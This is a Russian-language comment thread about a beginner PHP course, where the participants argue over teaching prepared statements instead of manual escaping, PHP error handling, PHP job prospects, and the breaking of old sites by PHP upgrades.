04.07.2022 20:10Ещё раз. Тут цель примера не в том, чтобы показать, как "ручками собирать мегабезопасные запросы". Цель проще — показать принцип, "запрос — это строка, её можно собрать ручками, при этом нужно задумываться о безопасности".
Дело в том, что дальше в профессии студенты уже все те же задачи решают с помощью библиотек. То есть знание про то, что запрос можно и вручную собрать нужно им, чтобы понимать, что ничего "волшебного" внутри фреймворков нет, что это просто инструмент, ускоряющий работу. А также это знание нужно, чтобы не быть рабом фреймворков.
Ну и если мы говорим про крутого спеца, который знает тонкости безопасности, и осознанно их применяет, то я за таких специалистов. Просто это рост до такого уровня должен происходить не на этапе "нулевик-джун", а на этапе после трудоустройства, во время профессионального развития. Там человек сможет вспомнить наше "запрос можно и ручками собрать, но надо задумываться о безопасности", и пойдёт копать вглубь. Ведь на это будут и время, и ресурсы, и интерес.psycho-coder
05.07.2022 14:07+1Цель проще — показать принцип, «запрос — это строка
Все придумано до нас — консоль субд.
SerafimArts
05.07.2022 02:02+8Но курс называется "PHP. Профессиональная веб-разработка".
Основная его цель — научить нулевиков решать типовые задачи веб-разработки с помощью PHP.
Так вы сами же и противоречите себе. Переименуйте в "PHP: Основы для джунов". Студент, который не знает таких элементарных вещей — не может являться профессионалом. Любителем максимум.
EchoA
04.07.2022 19:34+1@FanatPHP, если данные в запрос передаем через знаки подстановки, то как писать классическую "фильтрацию строк по произвольному набору фильтров", не используя конструкций типа `WHERE ($1 IS NULL OR <fieldName> = $1) AND ($2 IS NULL OR ...)`?
А то эта конструкция больно уж плохо оптимизируется планировщиком СУБД (по крайней мере, в случае с PostgreSQL).FanatPHP Автор
04.07.2022 19:52+1Спасибо за хороший вопрос! Насчёт оптимизации ничего не могу сказать, но в использовании подстановок тут нет ничего сложного — просто надо собирать попадающие в запрос переменные в отдельный массив. В самом простом, "сермяжном" варианте это будет выглядеть например так:
$conditions = []; $parameters = []; if (!empty($_GET['name'])) { $conditions[] = 'name LIKE ?'; $parameters[] = '%'.$_GET['name']."%"; } if (!empty($_GET['sex'])) { $conditions[] = 'sex = ?'; $parameters[] = $_GET['sex']; } if (!empty($_GET['car'])) { $conditions[] = 'car != ?'; $parameters[] = $_GET['car']; } if (!empty($_GET['date_start']) && !empty($_GET['date_end'])) { $conditions[] = 'date BETWEEN ? AND ?'; $parameters[] = $_GET['date_start']; $parameters[] = $_GET['date_end']; } $sql = "SELECT * FROM users"; if ($conditions) { $sql .= " WHERE ".implode(" AND ", $conditions); } $sql .= " LIMIT ?,?"; $parameters[] = $offset; $parameters[] = $limit; $stmt = $mysqli->prepare($sql); $stmt->bind_param(str_repeat("s", count($parameters)), ...$parameters); $stmt->execute(); $data = $stmt->get_result()->fetch_all(MYSQLI_ASSOC);
В более продвинутом варианте можно использовать Query Builder, будет покрасивше, но в целом подход тот же самый, набор if-ов:
if ($request->name) { $query->andWere("name", "like", "%" . $request->name . "%"); } // etc...
GothicJS
04.07.2022 21:02+1Раз зашла тема про php, то воспользуюсь случаем для ряда вопросов) Вообще интересны мнения всех людей, и фанатов php, и не фанатов тоже)
1) В коммерческой разработке программист на php это в большинстве случаев фуллстек ?
Если нет, то это разработка апи или используются родные шаблонизаторы фреймворков ?
2) Правильно ли я понимаю, что php в веб-разработке имеет куда больший спрос среди работодателей, чем тот же python ?
3) Заменит ли хайповый Go php или удобство php-шных фреймворков не даст этому случиться ?FanatPHP Автор
04.07.2022 21:18+1Спасибо за интересные вопросы.
1) Зависит от профиля конторы. Если это студия, которая делает сайты на заказ — то обычно да, это фуллстек. Но если это "команда одного продукта" — екоммерс, какой-то SaaS, внутрикорпоративная система — то чаще всего есть разделение специализаций, и РНР — это чисто бэк.
2) На данный момент — да. В качестве конкурента в области веб-разработки я бы скорее рассматривал Ноду. У Питона есть один недостаток в этом плане — нет дворовых команд. Футбол ведь силён в тех странах, где гоняют в каждом дворе, где растёт своя смена. А там где сразу покупают топовых игроков, толку не выходит. Так и здесь: в отличие от РНР, в питоне нет возможности учить одновременно азы и программирования, и веб-разработки. Если питон и веб — то Джанго, а это совсем другая ступенька, с улицы на неё не зайдёшь. Но с другой стороны, в силу неуклонно снижающейся популярности РНР (не связанной с объективными качествами языка) и растущей — питона, то можно ожидать эффекта перевернувшегося айсберга.
3) Не заменит однозначно, у него есть своя узкая ниша, которую он занимает прочно, но за пределы которой он выйдет не сильно. Тут я опять же смотрел бы не на Го, а на Питон с Нодой.
tommyangelo27
05.07.2022 11:04+11. Нет, но обычно основы фронтенда знать нужно. Из личного опыта — на работе не лезу во фронт, но могу подсказать начинающему коллеге, что пихать блочные элементы в инлайновые не стОит. Ну или могу компонент написать для какого-нибудь Knockout JS, но это далеко не полноценная разработка SPA, например.
2. Не знаю, никогда не интересовался, что там у Python. Как php-разработчик никогда (за 12 лет) не испытывал проблем с работой и зарплатой.
3. Go в веб-разработке скорее занимает нишу микросервисов. Если приложение имеет другую архитектуру — не думаю, что на Go будут писать весь бекенд. Лично я на Go писал тулзы для синхронизации данных между дев-стейдж-продакшеном, а сами приложения были на php.
HellWalk
05.07.2022 09:38Меня всегда очень интересовала довольно грустная ситуация с языком РНР
Проблема языка в низких зарплатах, и многие опытные php-программисты с широким кругозором начинают понимать, что самый простой путь дальнейшего роста зарплаты - это переход на более оплачиваемый бек-энд язык.
На мой взгляд в мире php ничего не изменится. Какие средние зарплаты - такой и средний уровень кода.
FanatPHP Автор
05.07.2022 09:52Мне кажется, это какое-то заблуждение. Вот только что Суперджоб считал, что программисты PHP в среднем зарабатывают в Москве 250 тыс. Чем плоха такая зарплата? Ну и насчет кругозора я бы поспорил. РНР — это как футбол. Да, большинство гоняет во дворе с воротами из двух кирпичей. Но есть и сильные региональные команды, и высшая лига. И мощная экосистема. Давайте вы сначала предметно покритикуете авторов Temporal за отсутствие кругозора, а потом мы продолжим?
HellWalk
05.07.2022 10:29+1Вот только что Суперджоб считал, что программисты PHP в среднем зарабатывают в Москве 250 тыс. Чем плоха такая зарплата?
Без контекста, какие по мнению Суперджоб зарплаты в других языках - это ни о чем.
Вот вам пример другой статистики:
Но есть и сильные региональные команды, и высшая лига
Высшая лига есть в любом языке.
FanatPHP Автор
05.07.2022 11:06+1Не вижу проблем, на сеньорском графике разница 10%. Если кто-то настолько жадный, что выбирает технологию не по душе, а по зарплате — то ради бога, можно и поскакать. Но как по мне, "самый простой путь дальнейшего роста зарплаты" — это какой-то wishful thinking.
ReadOnlySadUser
05.07.2022 11:23Я вот никогда не понимал такого подхода — сначала заведомо учиться
делать неправильно, а потом переучиваться. Какой в этом смысл?Я могу объяснить. Может быть конкретно в этом случае это неприменимо, но суть подхода такова: нельзя научить водить формулу один человека, который только пришел в автошколу. Если человек испытывает проблемы с синтаксисом языка - проблемы безопасности как влетели в его голову, так и вылетят.
Обучение - процесс итеративный. Копание в деталях - это прерогатива тех, кто уже знает базу. Задача любого обучения - дать базу, а деталями проникаешься всегда уже на реальных проектах. Именно поэтому существуют джуны. Именно поэтому над ними ставят более подготовленных разработчиков.
В данном случае база - нужно экранировать входные данные перед тем, как отправлять их в базу. Как это делать - это детали. Первое же ревью на реальном проекте под присмотром матёрого разраба научит вчерашнего студента, что он сделал не так.
Я согласен, что это должны были сделать преподаватели на курсе, но правда в том, что они могли просто проглядеть сие ввиду того, что им приходится иметь очень много дела с реально плохим кодом и глаз банально замыливается. Полагаю, когда год только и делаешь, что ревьювишь плохой код, более менее сносному доверяешь больше. Так что типичный человеческий фактор.
FanatPHP Автор
05.07.2022 12:02Ну тут скорее другая аналогия. Нет смысла в автошколе преподавать вождение кобылы. Под тем предлогом, что "первое же ревью на реальном проекте под присмотром матёрого разраба научит вчерашнего студента" водить автомобиль. Ну устарел подход с экранированием, уже минимум лет 10, как устарел. Преподавать его просто глупо. Ну поймите же, что подготовленные выражения — это не бином Ньютона, не "формула один". Это банальнейший механизм. Тем более, что он всё равно даётся в курсе — но только ещё больше запутывая студента.
Почему-то все оправдания сводятся к созданию такого жупела, ветряной мельницы — "ой, это слишком сложно, это вдавание в детали!" — и последующим развенчанием этого выдуманного аргумента. При том что никто и не предагал вдаваться в детали. А наоборот — сделать курс более логичным и менее запутанным!
Сейчас тема составления SQL запросов состоит из трёх глав: сначала студенту объясняют, как поместить переменную в запрос вообще без всякой обработки — хотя это полная бессмыслица, работа со строками рассматривается совсем в другом разделе. Затем рассказывается, как отдельно защищать числа и строки. И потом даются подготовленные выражения. Но при этом не даётся никакой итоговой рекомендации — что использовать. Если следовать вашей логике, то это и есть "вдавание в детали" и усложнение. Куда проще сразу показать подготовленные выражения, одним абзацем оговорившись, что всякое экранирование признано негодными, устаревшим, и не рекомендуется к использованию.
Вообще, мне не хотелось бы сводить проблему к одним только инъекциям. Исходная проблема ведь шире — сам подход к продукту. Собственно, подходов, условно говоря, два — либо сделать и забыть, либо постоянно дорабатывать продукт по итогам реальной эксплуатации. И мне, как программисту — просто дико видеть первый. Потому что я всеми печёнками знаю, что не бывает идеала, что любой программный продукт — это не изваяние из камня, а живой организм. Который растёт, развивается. Неудачные решения отмирают, новые появляются. Существующие улучшаются. Почему нельзя применять этот же подход к учебному курсу-то? Почему, проявляя упорство, достойное лучшего применения, доказывать, что существующие материалы представляют собой идеал? Почему настолько свирепо сопротивляться улучшениям, придумывая какие-то витиеватые аналогии в оправдание?
В конце концов, в учебнике куча другой ереси, не такой фатальной. Тот же несчастный явскрипт, который не даёт выполнить задание. Почему его-то не убирают? Как к этой проблеме притянуть за уши "формулу один"? Подскажите.
FanatPHP Автор
05.07.2022 12:44+3Но главное — правильные подходы не являются усложнением. Правильная обработка ошибок проще неправильной — не надо писать лишний код. Правильная работа с SQL проще неправильной — не надо учить 10 методов, достаточно выучить один. Правильная защита от XSS проще неправильной — следовать правилу "экранируем ВСЁ" легче, чем сидеть, размышлять над каждой переменной. Это всё не "формула один". Это совершенно элементарные вещи. Сложными они начинают казаться только тем, кто ими не пользовался. Кто, как правильно было замечено в комментарии выше, научился говнокодить 15 лет назад, и всё новое воспринимает со скрипом. А если давать человеку эти вещи с нуля, то он и будет их воспринимать естественно, как сами собой разумеющиеся.
rakot
05.07.2022 22:37Ваши замечания понятны, но по сути все эти уязвимости не актуальны, т.к. будут закрыты надстройками фрейморка.
Когда PHP был мои единственным языком, мне было интересно ковыряться под капотом, но когда это уже второй, третий, четвертый - ты понимаешь что это не так интересно и по сути не нужно.
Такой код выбивается из названия курса и никак не подходит под профессиональную разработку, но откровенно говоря, если бы подставленный айдишник привели к типу инт, было бы сильно лучше? Да инъекции бы не было, но у начинающего программиста и так в голове плохо все складывается, а тут еще приведение типов.
FanatPHP Автор
06.07.2022 07:01Во-первых, мои замечания простираются несколько шире, чем сами уязвимости. Основная моя претензия здесь — к инфоцыганству.
Во-вторых, вы даже не видите иронии в прямой параллели с мультиком, скрин из которого стоит в КПДВ — ваш "фреймворк с надстройками" — это те самые старательные, но туповатые "Двое из ларца", которые за Вовку "даже пальцы загибать будут". Посмотрите мультик, если не видели. Там хорошо показано, что будет, если использовать мощный и полезный инструмент, не понимая смысла своих действий, по принципу "и так сойдёт!".В третьих, по поводу приведения к int. Я как раз и пишу в статье, что приведение — это тоже не вариант. И у своих студентов я не принимаю такое решение. По причинам, которые я также подробно описал.
Anexroid
06.07.2022 09:21Я сам немного подрабатываю наставником на курсах PHP уровень 1/2, о которых вы пишите.
Не могу не согласиться с вашими замечаниями, с одной стороны. Сам требую в обязательном порядке использовать prepared statement или явное приведение к int в случае `$id = (int) $_GET['id'];` и подобных.
С другой стороны, на курсе "Уровень 2" (громко названным "Архитектура сложных веб-приложений", а фактически знакомящего студентов с основами использования фреймворка Yii2, эти проблемы уже исчезают по большей части.
Задача курса, на мой взгляд, познакомить студентов с основными принципами написания кода вообще, многие из них не имеют в целом алгоритмического мышления, какой-то базы, чтобы просто понять какие действия нужно совершить, чтобы из А получить Б, грузить их дополнительно принципами безопасности при построении веб-приложения на учебном проекте, имхо, не нужно. Это как в школе, достаточно сказать "нельзя делить на 0", а уже потом спустя пару лет объяснить почему и когда на самом деле можно и что из этого получится (предел или неопределенность и т.п.)
Легко заметить насколько отличается качество кода даже в учебном проекте от студента к студенту, у разных наставников разный подход, разные студенты думают по разному и т.п.
Различные тонкости они быстро узнают после пары-тройки код-ревью от старшего разработчика после того, как устроятся стажером-junior'ом в какой-нибудь аутсорс-компании, или в той же HTML Academy пройдут все ступени обучения (уровень 1, 2, 3, а ещё желательно акселлератор), или самостоятельно, при наличии наставника в будущем.FanatPHP Автор
06.07.2022 10:50+1Послушайте, ну почитайте хотя бы последние два комментария первого уровня над вашим. Они ровно об этом же. Я опять должен повторять всё то же самое. Ну где у меня написано, что студентов надо "грузить дополнительно"? Нигде я этого не говорил. Зачем мне это опять, в который раз предъявлять? Давайте я тоже, в который раз, попытаюсь донести свою простую мысль:
- во-первых, я нигде не предлагаю никакого усложнения. Я предлагаю ровно то же самое, что есть сейчас — показывать "действия, которые нужно совершить, чтобы из А получить Б". Но только показывать правильные действия, а не ту ересь, которая сейчас. Что с этим предложением не так? Где здесь эти ваши "дополнительные" действия-то?
- во-вторых, я предлагаю не усложнить, а упростить материал. Сделать его непротиворечивым, логичным, более коротким и — как следствие — более простым для понимания. Сейчас отправке запросов в БД посвящено три главы в учебнике. А я предлагаю оставить одну. Ну объясните мне ради бога, где вы все видите в этом усложнение-то?
Я не знаю, специально вы передёргиваете или у вас так "случайно" получается, но эти ваши реплики выглядят так, как будто на курсе вообще не даются основы безопасности, чтобы не травмировать бедных студентов, а я заставляю эту информацию добавлять. Не надо, пожалуйста, так делать. Потому что это выглядит прямым подлогом. Разумеется, даже на этом, "профессиональном" курсе даются основы безопасности. Что про XSS, что про инъекции, что про валидацию форм. Потому что без них курс превратится совсем в мусор.
Ну и напоследок, я не понимаю, как вы все не видите этой логической ловушки, когда хором за своим основателем повторяете "ачотакова? ну и пусть сейчас учат ересь, на следующем потоке переучатся". Это что вообще? Как это может служить оправданием нежелания исправлять очевидные косяки? Почему вместо выдумывания этих нелепых оправданий "потом переучатся" нельзя просто взять и исправить?
Кроме безопасности в учебнике есть и куча другого бреда. Что вы придумаете, чтобы его оправдать? "Ну потом в мануале сам посмотрит, разберётся со временем"? А зачем тогда этот учебник-то? Ну пусть сразу в мануал и смотрит. Тем более что там постоянно работают над улучшениями, принимают пулл-реквесты.
psycho-coder
Рискну предположить, что на этом всё и базируется. "- Я с третьей версии пишу, я все знаю, не надо меня учить"
FanatPHP Автор
Да, это часто встречается. Причём, как говорится, "старую собаку научить новым трюкам" зачастую сложнее, чем совсем новичка. Вот у меня как раз недавно вышел разговор с одним из самых опытных наставников, который впервые столкнулся с тем, что начиная с последней версии, РНР начал сам выбрасывать исключения при работе с mysqli, не дожидаясь, пока это сделает программист. И в итоге вместо тёплого лампового
print("Ошибка подключения: " . mysqli_connect_error());
выводится какой-то непонятный Stack trace!И мне потребовалось довольно времени чтобы объяснить, что по сути это то же самое, только более информативное, и — главное — адаптивное сообщение об ошибке. Ключевая информация, которую оно доносит, остаётся той же самой — причина ошибки подключения. Меняется только формат, и плюс вывод ошибки становится не безусловным, а настраиваемым. Причём, благодаря тому, что выборс исключения останавливает выполнение текущего кода, весь этот ужас с
print()
уже не выполняется вовсе — то есть код становится правильным вопреки желанию программиста! Но вот сама непривычность такого поведения поначалу ставит в тупик. И сразу появляются идеи, "а давайте вернём всё назад, принудительно сбросим настройки на предыдущий вариант"...muxa_ru
Потому что вариантов реально два:
- старый сайт работает на старом коде
- старый сайт со старым кодом умер
Варианта "все бросились переделывать старые сайты под новые заморочки авторов PHP" нет.
По мне так пусть лучше "старая собака" хорошо освоившая свои фокусы продолжает поддерживать нужный мне информационный ресурс, чем я лишусь доступа к нужной мне информации.
psycho-coder
Если делать все своеверенно, то проблем не составит. Wordpress потихньку переползает на новые заморочки и разработчики тем и плагинов тоже.
Я бросился. А также переписал внутрениие сервисы с silex на sf4, когда это стало актуально
muxa_ru
У людей есть много других дел, кроме как соответствовать ожиданиям разработчиков PHP
Это очень здорово, что у Вас много свободного времени, которое можно потратить на такое непродуктивное занятие как ремонт того что и так работает.
Как показывает реальность, полная сообщений об ошибках на сайтах - у мире много людей, находящих более интересные занятия.
psycho-coder
Повторюсь, нет смысла бежать сломя голову вносить изменения сразу как только они анонсируются. Можно делать медленно, и они не требуют много времени.
Не стоит говорить про то, в чем не уверены. У меня не так много времени, просто я заложил его в обновление и поддержку. Если требуется ремнот — это уже не работает, а обслуживание проивоздим регулярно.
Интересно, а вы машину или мотоцикл или сервер или еще что-то тоже обслуживаете также, когда окончательно сломается?
Или также как и вы решают «работает — не трожь»? Не все могут себе позволить либо время, либо деньги, либо и то и то на обслуживание. Это не значит, что этого делать не надо. Изначальный вопрос-то вообще в другом, что некоторые не хотят изучать новое.
muxa_ru
Давайте смоделируем ситуацию.
Вы когда-то сделали веб-сайт и наполнили его какой-то информацией.
А спустя время вам эта тема стала менее интересна и вы сайт подзабросили, но не убили.
Сейчас он просто есть и работает. Не знаю зачем он Вам, может жалко убить, а может вы на этом домене почту держите.
И в какой-то момент, Вы оказываетесь в ситуации, когда сайт перестал работать и там какая-то ошибка про устаревшую функцию.
Как Вы поступите и почему именно так?
Это зависит от ситуации.
Что-то обслуживается по графику, а что-то живёт дополной неработоспособности и выбрасывается.
Автомобиль находится в первой группе.
Старые веб-сайты могут попасть во вторую.
psycho-coder
Уже писал об этом. Я слежу за ситуацией, и буду вносить изменения по необходимости, чтобы мой сайт работал. Мне нравится писать код, может быть от этого зависит.
Соглашусь.
Кстати, вспомнил один момент, был к композере пакет у которого была совместимость с php7.2 и с 8.1, и он зависит от пакета с 8.1. При этом код написан под 8 версию и есть полифилы. Все приплыли, он как бы совместим со старой версией, но не установится. Если сделать форк и указать совместимость с 7.2, то можно ставить.
У медали две стороны
muxa_ru
Ага, с одной стороны медали находятся люди рассуждающие о том как ловко они пилят форки на гитхабе, а с другой - человек десят лет назад сделавший веб-сайт с историей села Усть-Пиздюйское, куда залил какие-то фоточки, газетные вырезки и рассказы старожилов.
И если его веб-сайт умрёт из-за обновлений на хостинге, то он его чинить не будет, ибо уже другие интересы есть, да и не разберётся он в этих ваших конструкторах.
0xd34df00d
Зачем вообще этот сайт человеку со второй стороны делать на пхп? Тут статического генератора за глаза.
psycho-coder
Я писал не про ловкое создание форков
muxa_ru
Нет, как раз именно это и значит "не надо этого делать".
Прямо сейчас на хостинге крутится сайт со старым коммерческим движком. Давно не оплачен. Давно не обновляется. Я его админки по максимому закрыл http-авторизациями и он живёт.
Если он сломается из-за очередного обновления на хостинге, то я его просто удалю и всё.
Это не потому что я не хочу изучать новое - я этого нового изучаю столько, что многие с ума сойдут от объёма информации.
Я не хочу изучать ненужную мне хрень.
Как вы можете догадаться, МНЕ от этого хуже не станет и я просто спокойно вздохну,перестану оплачивать хостинг и отпущу домен.
Это исключительно вопрос взаимоотношений разработчиков PHP и людей зачем-то посещающий этот старый сайт.
psycho-coder
Вот мы и пришли от обобщенного к частному. Вы не будете обновлять, я буду. Возможно вам этого и не надо, а вот, возьмем, Васю, у него бизнес ему и надо, он зовет опытного разраба, допустим Вовку, и тот ему говорит "- Да давай ща версию откатим и сойдет!".
muxa_ru
А я хожу по интернету, по старым сайтам, которые люди сделали сколько-то лет назад про какие-то свои интересы, и вижу там сообщения deprecated функциях. А иногда error и контента нет.
Вам - интересно развлекаться копаясь в коде.
У Васи - бизнес.
"старые собаки" поднимают правую руку и опускают её с указанием направления, по которому отправляются пользователи их веб-сайта.
hard2018
Обобщая вышенаписанное и образно говоря, Вам нет смысла ставить новые бампера только из за того, что они появились в продаже
muxa_ru
Да, абсолютно незачем.
Вы об этом не знали?
psycho-coder
Новые бампера это fn =>, можно обойтись и без них. А если что-то чуть серьезней — аналог отзывной компании
FanatPHP Автор
Если говорить об изменениях в языке, не поддерживающих обратную совместимость — то да, такая позиция существует, и одним из самых самых её горячих сторонников является Зеев Сураски, один из самых первых разработчиков языка. Поскольку его бизнес как раз и заключается в предоставлении услуг поддержки древних сайтов на РНР. И да, это вечная битва прогресса с обратной совместимостью. Здесь можно порекомендовать просто не обновляться. Да, у этого решения есть свои минусы, но стабильность работы в данном случае является приоритетом.
muxa_ru
Это проблематично, в условиях шаред-хостингов. :)
FanatPHP Автор
Ну, в данном случае речь идёт об учебном курсе, то есть никакого "рабочего сайта" у нас пока нет.
По поводу же рабочих сайтов — не забываем, что мы говорим об ошибке БД, то есть, в 99% случаев — о фатальной ошибке. То есть ситуации, когда сайт всё равно уже умер. Соответственно, умирает он и так и так, но данная настройка при этом улучшает ситуацию. Поставить
display_errors=0
, если оно ещё не стояло — это дело 1 минуты. И в итоге ошибки SQL перестанут выводиться пользователю. Добавить кастомный error handler — это ещё полчаса, и вместо корявогоОшибка подключения: Too many connections
пользователю будет выводиться аккуратная страничка с извинениями и уверениями что "уже всё чиним!". И что самое приятное — без каких-либо правок кода!Единственный случай, когда эта функциональность действительно поломает рабочий сайт — это для тех мест, где проверка
if ($con == false) { ...
использовалась не для того, чтобы тупо выплюнуть ошибку в пользователя, а для того чтобы как-то обработать нештатную ситуацию. Вот в таких местахif
надо будет заменить наtry..catch
.muxa_ru
В данном случае, ветка ушла в тему "старых собак" и не_учебных ситуаций в виде "а давайте вернём всё назад, принудительно сбросим настройки на предыдущий вариант".
Во первых, полчаса - это уже много.
Во вторых, если владелец сайта не является профессиональным веб-разработчиком непрерывно осваивающим новинки, то ему придётся потратить дополнительное время на изучение этой технологии.
В третьих, модификация старого продукта не ограничивается каким-то отдельным изменением, потому что при малейшем изменении начинают выползать проблемы.
И мы это уже видели на практике. Был момент, когда на старых сайтах массово посыпались сообщения о deprecated , а потом на хостингах появилась возможность включить php 5.x
"старые собаки" не горят желанием прыгать через обруч по полчаса на каждый каприз разработчиков PHP - они просто забивают болт на старые проекты и всё.
Угадайте, кому становится хуже от того, что пропадают веб-сайты с информацией?
FanatPHP Автор
Ну я всё-таки повторюсь — в данном конкретном случае ничего принципиально не меняется.
Во-первых, здесь речь идёт только об ошибках SQL — то есть ситуации, когда сайт и так лежит. Если всё работает, то новый функционал никак себя не проявляет. А если база лежит, то и при старом сайт всё равно не работал.
Но вот при желании сделать пользовательский экспириенс более позитивным — с новым функционалом будет проще.
muxa_ru
Остаётся добавить, что база легла не сама, а из-за того, что функция mysql_*() больше не работает, и при этом её нельзя просто механически заменить на mysqli_*()
FanatPHP Автор
Эк вы что вспомнили! Это ж когда было. Лет 5 назад, или больше.
Но если вы хотите поговорить об этом, то во-первых, здесь лежит не БД, а РНР. Во-вторых, сайт не "ложится вдруг сам", а только в том случае, если его перенесли на другой сервер или по крайней мере обновили версию РНР на текущем. А это редко случается с сайтами, которые "просто поддерживаются".
А в-третьих, "просто механически заменить" — без проблем. Всего-то лишь надо в скрипт с коннектом к БД приинклюдить один файлик. И если кому-то хватило квалификации обновить версию РНР, то уж добавить один инклюд в код и подавно хватит.
Ну то есть я честно не вижу здесь проблемы. Если сайт "просто лежит", то и версия РНР у него "вдруг" не поменяется, а только волей конкретного человека. А если есть такой человек, то и подцепить средства обратной совместимости он сможет.
muxa_ru
Ох, чую я сейчас устраиваю Вам экскурсию в реальный мир, который находится за границами тусовочки айтишников хвастающихся друг перед дружкой размером стэка :)
Версию PHP обновил сотрудник шаредхостинга.
init0
А разве не клиент выбирает версию PHP в панели управления?
muxa_ru
Сейчас может и да, хотя я не уверен что это у всех хостингов есть.
Но так было не всегда.
Полагаю, эта возможность появилась именно из-за того, что далеко не все люди стали переписывать свои веб-сайты под фантази разработчиков PHP.
Интересно, а сколько всего ушло в небытиё в тот период, когда этой возможности не было?
init0
Я уже лет 10 не пользуюсь шаред хостингами, но даже в 2000-х годах помню, что любой приличный хостинг предлагал на выбор php ветки 4.x и 5.x.
Слишком толсто
muxa_ru
Если вспоминать то что было 10 лет назад, то у меня даже цитаты есть, из уведомлений.
Это 2009 год и у всех было понимание, что принудительное осчастливливание пользователей ведёт к неработоспособности веб-сайтов.
То есть, выбрать может и можно было, но это ничего не значило - решение оставалось за хостингом.
Если Вы захотите объяснить сторонним наблюдателям то зачем хостинги это сделали, то не забудьте добавить "эта цель стоила того, чтобы навсегда уничтожить некоторое количество веб-сайтов, вместе с содержащейся на них информацией".
Именно "уничтожить", потому что эти веб-сайты не сами сломались, а были сломаны посредством изменения настроек.
muxa_ru
Желания нет.
Сайт просто поддерживается и если умрёт, то и чёрт с ним.
omichkun
Ну так если хотите, чтоб "старая собака" исполняла свои фокусы, пусть она и живет в "старой будке" (читай, версии PHP). Зачем обновлять и ожидать старого поведения?
muxa_ru
Всеми конечностями ЗА.
Так я не обновлял - меня принудительно обновили, причём так, что могла сломаться система защиты.
И там не только Пыха, но и вся остальная ЛАМПа обновлялась с потерей обратной совместимости.
omichkun
Да уж. Ну тут могу вам только посочувствовать.
muxa_ru
Самое интересное в таких разговорах состоит в наблюдении за тем, как люди не могут выйти за рамки модели поведения "умудрённый опытом мастер учит новичка тому как правильно жить".
Типа прибежал новичок, показал код и сказал "хнык-хнык, не работает". Мастер закурил то что принёс новичок, закашлялся, сказал "близко к жопе рвёшь, салага" и рассказал как правильно.
А потом, мастер с удовлетворением наблюдает за тем, как новичок получает первую зарплату и приходит пропить её вместе с мастером, открывшим ему секреты мастерства.
Только вот проблема у меня не в том, что не работает мой код - там где мне надо, мой код работает.
Проблема у меня в том, что я перехожу по какой-нибудь старой ссылке, а там, в лучшем случае, сообщение о deprecated наверху страницы, а в худшем - сообщение о том, что этой функции больше нет и пустота.
И эта проблема не только у меня, а и у многих других людей, только эти люди не понимают на что именно они смотрят. Они не в курсе, из-за чего им не показывают информацию. Я в курсе, ибо сам из этой отрасли, а вот миряне не понимают что происходит.
Кстати, у моих визави по данному обсуждению эта проблема тоже есть, ведь гугл не показывает им в выдаче эти умершие сайты.
FanatPHP Автор
Обожаю этот анекдот :)
Но всё-таки, мне кажется вы немного смешиваете понятия. Исходно мы здесь говорили не о философской проблеме прогресс vs. стабильность (которая сама по себе невероятно интересная), и не про поддержку легаси. А, всё-таки, про обучение салаг тому, как делать с нуля.
То есть озвученная вами проблема конечно есть, и она очень серьёзная. Но она здесь не совсем в тему.
Но если вы хотите поговорить об этом, то я не считаю, что у РНР какая-то особая роль в процессе умирания старых серверов. Это ведь целый комплекс проблем — где-то сама железяка сдохла, где-то — как у вас, поменяли версию Апача. А сколько сайтов убил один GDPR.
Я вот в последнее время часто думаю о смерти. Вот задушит меня ковид — и что станет с моими сайтами? Хостинг через месяц отключится, а максимум через год и домен спамеры перекупят. И будет там "смотреть без регистрации и смс"… Вот это я понимаю, проблема. Не чета несчастной mysql_query.
psycho-coder
К сожалению соглашусь. Сейчас есть пара новичков, которых пытаюсь чему-то научить, идет со скрипом. Стараюсь объяснять что и зачем, а не тупое заучивание.
Видел ситуацию и наоборот, когда попсовую технологию тащать везде, где можно и где нельзя без включения головы. Результат тоже плохой, только «с другой стороны»
Hardcoin
Что это за самый опытный наставник, которого Stack trace ставит в тупик? Эдак слово "опытный" можно вконец обесценить, будет синоним слова "старый".
FanatPHP Автор
Ну, надо сказать что наставник говорил от лица студента. А я виноват, неверно расставил акценты. Речь, конечно же, не про stack trace. У нас с ним спор скорее вышел о том же, о чем мы как раз только что говорили здесь с muxa_ru — наставник сначала решил, что такое поведение критически поломает обратную совместимость, а я ему доказывал, что нет — принципиально поведение остаётся прежним, меняется только формат. А идея "вернуть всё назад" появилась потому, что иначе придется переписывать весь подход к обработке ошибок в учебнике. А это как раз и представляет проблему. Поэтому наставник и предложил, в качестве простого варианта, отменять эту новую настройку, заставляя mysqli работать по-старому.
Hardcoin
Если учебник по 8.0, то и код запускать нужно на 8.0. В данном случае учебник обновлять не хотят, а код запускают на свежей версии - это очередной раз подтверждает низкое качество курсов.
Это же не единственное изменение между версиями и откат настройки (что не страшно само по себе) вместо использования нужной версии выглядит по дилетантски.
AlexPershin
Контекст глубже и сложнее. Вот вам вводные:
Этот курс для новичков, которые видят PHP в первый раз.
Объём курса ограничен.
И этот объём уже исчерпан текущими материалами.
Курс не единственный в линейке, за ним следуют продвинутые курсы.
Учитывая вводные данные, можно сказать, что внутрь курса уже сложно добавить что-то объёмное.
Так а какие проблемы с добавлением исключений? Проблема в том, что для этого нужно затащить в курс всю концепцию ООП, потому что без этого нормально не рассказать про исключения их работу. Но концепция ООП и так разбирается в последующих курсах, и там же вводится новый принцип обработки ошибок — исключения.
То есть это вопрос чисто методический. На первом курсе люди изучают одни конструкции языка, концепции и способы решения задач, на следующих курсах изучают другие, более продвинутые, конструкции языка, концепции и способы решения задач.
И делать вывод о том, что "раз не затащили исключения в курс для новичков, то качество плохое" — неверно.
Но кто ж из разработчиков задумывается о таких вещах, как методика обучения.
FanatPHP Автор
Непойманное исключение — это всего лишь банальная фатальная ошибка. Которая ничем не отличается от любой другой ошибки, например, "Failed opening required file" (которая, кстати сказать, в шаблонизаторе подавляется, вопреки собственным же требованиям). И никакое ООП, чтобы просто прочитать сообщение об ошибке, здесь не нужно.
Если пользователь сделал опечатку в имени подключаемого файла, то он увидит
А если в пароле для подключения к БД, то (в современном РНР, если ему не выкручивать руки)
Ну покажите мне здесь то самое Очень Принципиальное Отличие, которое не помешает пользователю разобраться в первом случае, и поставит его в тупик во втором?
FanatPHP Автор
И если у вас проблемы с объёмом курса, то я легко подскажу, где можно его подсократить. Например, вместо трёх глав, посвящённых отправке запросов в БД, сделать одну. Лучше, конечно, две — но в любом случае, убрав весь этот ужас про "значение в итоге преобразуется к безопасному виду" и "бекслеш с кавычкой сохранится в базе данных", вполне можно сэкономить.
И в процессе заодно внезапно обнаружить ответ на свой
